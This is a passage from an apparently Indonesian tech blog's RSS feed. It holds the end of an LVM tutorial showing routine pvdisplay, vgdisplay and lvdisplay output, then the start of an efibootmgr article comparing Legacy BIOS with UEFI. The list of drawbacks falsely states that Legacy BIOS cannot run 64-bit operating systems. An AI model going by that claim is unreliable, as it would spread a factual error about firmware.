&lt;/span&gt;&lt;/span&gt;&lt;span&gt;LV Size                20.00 GiB&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Current LE             5120&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Segments               1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Allocation             inherit&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Read ahead sectors     auto&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- currently set to     256&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Block device           252:0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Perhatikan!&lt;/strong&gt;&lt;br /&gt;
Status ”# open” yang tadinya 0 (sebelum di-mount) akan menjadi 1 setelah di-mount.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Closing&lt;a href=&quot;#closing&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Masih banyak hal yang seharusnya dapat dilakukan oleh LVM (seperti snapshot) yang belum disampaikan di sini. Semoga di kemudian hari, saya akan melanjutkan tutorial-nya hingga ke semua fitur LVM.&lt;/p&gt;&lt;p&gt;Untuk saat ini, berikut adalah layout LVM yang berhasil saya buat:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pvdisplay&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;--- Physical volume ---&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;PV Name               /dev/sda&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;VG Name               vg_data&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;PV Size               &amp;lt;1.82 TiB / not usable &amp;lt;1.09 MiB&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Allocatable           yes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;PE Size               4.00 MiB&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Total PE              476932&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Free PE               471812&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Allocated PE          5120&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;PV UUID               RPjneX-avtN-F01L-8avv-puIM-0rid-3l1bMU&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vgdisplay&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;--- Volume group ---&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;VG Name               vg_data&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;System ID&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Format                lvm2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Metadata Areas        1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Metadata Sequence No  2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;VG Access             read/write&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;VG Status             resizable&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;MAX LV                0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Cur LV                1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Open LV               0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Max PV                0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Cur PV                1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Act PV                1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;VG Size               &amp;lt;1.82 TiB&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;PE Size               4.00 MiB&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Total PE              476932&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Alloc PE / Size       5120 / 20.00 GiB&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Free  PE / Size       471812 / &amp;lt;1.80 TiB&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;VG UUID               3bH0hx-3aHt-PNqr-W1oR-8lQH-Aut8-HWcmEU&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lvdisplay&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;--- Logical volume ---&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LV Path                /dev/vg_data/lv_secret&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LV Name                lv_secret&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;VG Name                vg_data&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LV UUID                GeRyzt-KgCc-qcpv-Zks8-vEYX-mQqb-H4aFii&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LV Write Access        read/write&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LV Creation host, time castle, 2026-07-12 15:30:47 +0700&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LV Status              available&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;# open                 0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LV Size                20.00 GiB&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Current LE             5120&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Segments               1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Allocation             inherit&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Read ahead sectors     auto&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- currently set to     256&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Block device           252:0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Sekian.&lt;br /&gt;
Terima kasih sudah membaca.&lt;br /&gt;
Sampai jumpa lagi di artikel saya yang lain!&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Logical_Volume_Manager_(Linux)#cite_note-auto-1&quot; target=&quot;_blank&quot;&gt;https://en.wikipedia.org/wiki/Logical_Volume_Manager_(Linux)#cite_note-auto-1&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://oneuptime.com/blog/post/2026-03-02-setup-lvm-ubuntu-server-installation/view&quot; target=&quot;_blank&quot;&gt;https://oneuptime.com/blog/post/2026-03-02-setup-lvm-ubuntu-server-installation/view&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://plasawebhost.com/panduan/cara-menambah-kapasitas-partisi-lvm-logical-volume-di-linux-menggunakan-command-line.html&quot; target=&quot;_blank&quot;&gt;https://plasawebhost.com/panduan/cara-menambah-kapasitas-partisi-lvm-logical-volume-di-linux-menggunakan-command-line.html&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/@bayounm95.eng/understanding-lvm-in-linux-a-comprehensive-guide-08e1125e3d71&quot; target=&quot;_blank&quot;&gt;https://medium.com/@bayounm95.eng/understanding-lvm-in-linux-a-comprehensive-guide-08e1125e3d71&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.archlinux.org/title/LVM&quot; target=&quot;_blank&quot;&gt;https://wiki.archlinux.org/title/LVM&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-5&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Repairing Your Linux EFI Boot Entry with efibootmgr</title><link>https://shangdi.github.io/posts/tech/efibootmgr/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/efibootmgr/</guid><description>Your linux boot entry is broken? Don&apos;t get overly panicked and then recklessly reinstall your entire system as efibootmgr is completely capable of fixing it.</description><pubDate>Thu, 09 Jul 2026 13:13:43 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Getting to Know&lt;a href=&quot;#getting-to-know&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;What is &lt;code&gt;efibootmgr&lt;/code&gt;?&lt;a href=&quot;#what-is-efibootmgr&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Menurut definisi (atau deskripsi) dari paket tersebut di repo Archlinux, &lt;code&gt;efibootmgr&lt;/code&gt; adalah aplikasi &lt;a href=&quot;https://www.redhat.com/en/blog/architecting-containers-part-1-why-understanding-user-space-vs-kernel-space-matters&quot; target=&quot;_blank&quot;&gt;user space&lt;/a&gt; di linux yang bertugas untuk melakukan modifikasi pada EFI &lt;em&gt;boot manager&lt;/em&gt;.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;Jadi, kalau linux kita tidak bisa &lt;em&gt;booting&lt;/em&gt; dengan normal (misalnya, opsi bootloader tidak muncul di GRUB atau bahkan boot entry tidak muncul di boot menu BIOS komputer), kita tidak perlu buru-buru khawatir dan langsung &lt;em&gt;install&lt;/em&gt; ulang seluruh sistem linux kita, tapi kita bisa cek terlebih dahulu, barangkali kita bisa memperbaiki bootloader-nya via &lt;code&gt;efibootmgr&lt;/code&gt;.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;UEFI vs Legacy&lt;a href=&quot;#uefi-vs-legacy&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Sebelum lebih dalam ke caranya, kita perlu tahu dulu bahwa &lt;em&gt;tool&lt;/em&gt; ini, seperti namanya, &lt;code&gt;efibootmgr&lt;/code&gt; hanya dapat digunakan untuk melakukan manajemen bootloader berbasis &lt;strong&gt;UEFI&lt;/strong&gt;, bukan Legacy.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Apa itu UEFI dan Legacy? Apa bedanya?&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Legacy BIOS&lt;a href=&quot;#legacy-bios&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Legacy BIOS (&lt;em&gt;Basic Input Output System&lt;/em&gt;) adalah sebuah &lt;em&gt;software&lt;/em&gt; (&lt;em&gt;firmware&lt;/em&gt;) yang tersimpan di motherboard komputer kita dan bertugas untuk melakukan &lt;em&gt;booting&lt;/em&gt; dan membangkitkan sistem operasi kita.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Akan tetapi, Legacy BIOS adalah software lama (sudah ada sejak 1980-an) dan hanya akan kompatibel untuk menjalankan OS (&lt;em&gt;Operating System&lt;/em&gt;) lama juga.&lt;/p&gt;&lt;p&gt;Berikut adalah beberapa kelebihan Legacy BIOS:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Kompatibilitas dengan perangkat keras lama.&lt;/li&gt;
&lt;li&gt;Mudah digunakan dan diatur.&lt;/li&gt;
&lt;li&gt;Tidak memerlukan konfigurasi yang kompleks.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Sementara berikut ini adalah kekurangan Legacy BIOS:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Cara membaca disk pake MBR (&lt;em&gt;Master Boot Record&lt;/em&gt;).&lt;/li&gt;
&lt;li&gt;Terbatas dalam mengenali kapasitas penyimpanan (maksimal di 2TB).&lt;/li&gt;
&lt;li&gt;Tidak mendukung fitur keamanan modern seperti &lt;em&gt;Secure Boot&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Tidak dapat digunakan pada sistem operasi 64-bit.&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;UEFI&lt;a href=&quot;#uefi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Seperti BIOS, UEFI (&lt;em&gt;Unified Extensible Firmware Interface&lt;/em&gt;) yang sudah dikembangkan sejak tahun 2005 adalah &lt;em&gt;firmware&lt;/em&gt; modern untuk menggantikan Legacy BIOS. Seperti BIOS juga, UEFI adalah &lt;em&gt;software&lt;/em&gt; paling pertama yang akan dijalankan begitu kita menekan tombol power di komputer kita sehingga dia kemudian akan melakukan proses &lt;em&gt;booting&lt;/em&gt; dan membangunkan sistem operasi kita.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;Beberapa kelebihan UEFI:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Cara membaca disk dengan GPT (&lt;em&gt;GUID Partition Table&lt;/em&gt;).&lt;/li&gt;
&lt;li&gt;Dapat mengenali kapasitas penyimpanan lebih besar dari 2TB.&lt;/li&gt;
&lt;li&gt;Mendukung fitur keamanan modern seperti &lt;em&gt;Secure Boot&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Dapat digunakan pada sistem operasi 64 bit.&lt;/li&gt;
&lt;li&gt;Lebih cepat dan efisien dalam proses &lt;em&gt;booting&lt;/em&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Namun, ada juga beberapa kekurangan UEFI:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Tidak kompatibel dengan perangkat keras (&lt;em&gt;hardware&lt;/em&gt;) lama.&lt;/li&gt;
&lt;li&gt;Memerlukan konfigurasi yang (sedikit) lebih kompleks.&lt;/li&gt;
&lt;li&gt;Tidak semua sistem operasi mendukung UEFI.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Jadi, berikut adalah kesimpulan perbandingan Legacy BIOS vs UEFI.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;

















































